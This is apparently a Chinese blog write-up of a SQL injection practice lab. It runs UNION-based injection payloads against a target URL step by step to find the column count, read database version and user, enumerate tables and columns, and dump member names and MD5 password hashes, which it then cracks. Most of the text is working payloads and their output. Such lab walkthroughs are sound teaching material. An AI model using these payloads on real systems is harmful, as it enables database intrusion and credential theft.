WEB漏洞——SQL注入之简要SQL注入

判断注入

#猜解列名数量(字段数)

order by 1 2 3 4

 4正确5错误有4个字段

http://219.153.49.228:48400/new_list.php?id=1 union select 1,2,3,4

#报错猜解准备

在id=1变为id=-1或id=1 and 2=222

http://219.153.49.228:48400/new_list.php?id=-1%20union%20select%201,2,3,4

http://219.153.49.228:48400/new_list.phpid=1%20and%202=2222%20union%20select%201,2,3,4

#信息收集

数据库版本:version()  5.7.22-0ubuntu0.16.04.1

数据库名字:database()  mozhe_Discuz_StormGroup

数据库用户:user() root@localhost

操作系统:@@version_compile_os Linux

 

 

 

 

 

 

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:48400/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

 

查询所有:

http://219.153.49.228:48400/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

 

#查询指定表名StormGroup_member下的列名信息

http://219.153.49.228:48400/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

 

#查询指定数据

http://219.153.49.228:48400/new_list.php?id=-1%20union%20select%201,group_concat(name),group_concat(password),4%20from%20StormGroup_member

 

#猜解多个数据可以采用limit x,1 变动猜解

http://219.153.49.228:48400/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

mozhe

356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13

http://219.153.49.228:48400/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

mozhe

a26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值